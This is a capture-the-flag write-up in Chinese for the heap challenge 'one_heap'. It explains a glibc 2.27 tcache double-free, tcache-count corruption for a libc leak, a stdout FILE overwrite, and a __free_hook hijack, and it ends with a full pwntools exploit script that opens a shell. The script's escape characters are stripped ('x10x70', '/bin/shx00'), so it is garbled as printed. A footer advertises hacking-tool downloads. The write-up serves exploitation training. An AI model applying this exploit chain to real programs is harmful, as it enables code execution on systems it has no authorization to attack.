Challenge
Analysis
checksecCANARY : ENABLEDFORTIFY : ENABLEDNX : ENABLEDPIE : ENABLEDRELRO : FULL
菜单题,最多15次malloc,每次大小不超过0x7f;最多4次free,只能free上一次malloc的堆块,存在double free漏洞。
void delete_D90(){if ( !free_cnt_202014 )exit(0);free(ptr);puts("Done!");--free_cnt_202014;}
在tache存在的情况下,两次free同一个堆块,没有任何检查,此时该tache的链会形成一个循环单链表,注意这里指针指向的是data部分。
gdb-peda$ x/80xg 0x5555557572500x555555757250: 0x0000000000000000 0x00000000000000810x555555757260: 0x0000555555757260 0x0000000000006161
由于free的次数有限,因此我们选择破坏tcache_entry,这里记录了不同大小的chunk在tache中的次数,如果大于等于7,就不会再放入tache了。
if (tcache->counts[tc_idx] < mp_.tcache_count){tcache_put (p, tc_idx);return;}
再次malloc会让我们部分修改当前堆块的fd为0x555555757010(此时的堆块大小为0x250),并未将0x250对应的counts修改为0x7,那么此时再free掉这块堆块的话,就会进入unsorted bin里。
gdb-peda$ x/80xg 0x5555557570000x555555757000: 0x0000000000000000 0x00000000000002510x555555757010: 0x00007ffff7dcfca0 0x00007ffff7dcfca00x555555757020: 0x0707070707070707 0x07070707070707070x555555757030: 0x0707070707070707 0x07070707070707070x555555757040: 0x0707070707070707 0x0707070707070707
那么,再malloc的话,就会从这个unsorted bin里切了呢。同时,就会在tcache_entry对应的位置留下libc的地址。那么我们就可以利用留下来的libc搞事情了。比如0x555555757060对应的是tcache_entry[2]。
gdb-peda$ x/80xg 0x5555557570000x555555757000: 0x0000000000000000 0x00000000000000510x555555757010: 0x0000000000000000 0x00000000000000000x555555757020: 0x0707070707070707 0x07070707070707070x555555757030: 0x0707070707070707 0x07070707070707070x555555757040: 0x0707070707070707 0x07070707070707070x555555757050: 0x0000000000000000 0x00000000000000210x555555757060: 0x0000155555326ca0 0x0000155555326ca00x555555757070: 0x0000000000000000 0x00000000000001e10x555555757080: 0x0000155555326ca0 0x0000155555326ca0
通过部分修改libc的低位,可以让libc指向_IO_stdout,然后修改其_flags和_IO_write_base的值,就可以完成leak。之后再利用一次修改__free_hook为system,即可完成利用。
gdb-peda$ p _IO_2_1_stdout_$13 = {file = {_flags = 0xfbad1887,_IO_read_ptr = 0x0 <_IO_2_1_stdout_+131> "n",_IO_read_end = 0x0 <_IO_2_1_stdout_+131> "n",_IO_read_base = 0x0 <_IO_2_1_stdout_+131> "n",_IO_write_base = 0x0000155555327700 <_IO_2_1_stdout_+131> "n",...
Solution
完整利用脚本如下,由于heap和libc那里分别有4个bit的随机化,最后成功的概率是1/256
#!/usr/bin/env python# encoding: utf-8from pwn import *libc = ELF('./libc-2.27.so')r = process('./one_heap', aslr=False)def n(size, data):r.sendlineafter('Your choice:', '1')r.sendlineafter('size:', str(size))r.sendlineafter('content', data)def d():r.sendlineafter('Your choice:', '2')n(0x70, 'a'*10)d()d()n(0x70, 'x10x70') # 1/16n(0x70, 'b')n(0x70, 'x00'*0x10 + 'x07'*0x30)d()n(0x40, p64(0)*2)n(0x18, 'a'*8+'x60x77') # 1/16n(0x40, p64(0xfbad1887) + p64(0)*3 + 'x00')r.recvuntil('x00'*8)libc.address = u64(r.recv(8)) - 0x3ed8b0log.info('%#x' % libc.address)n(0x18, p64(libc.sym['__free_hook']-8))n(0x70, '/bin/shx00' + p64(libc.sym['system']))d()r.interactive()

推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...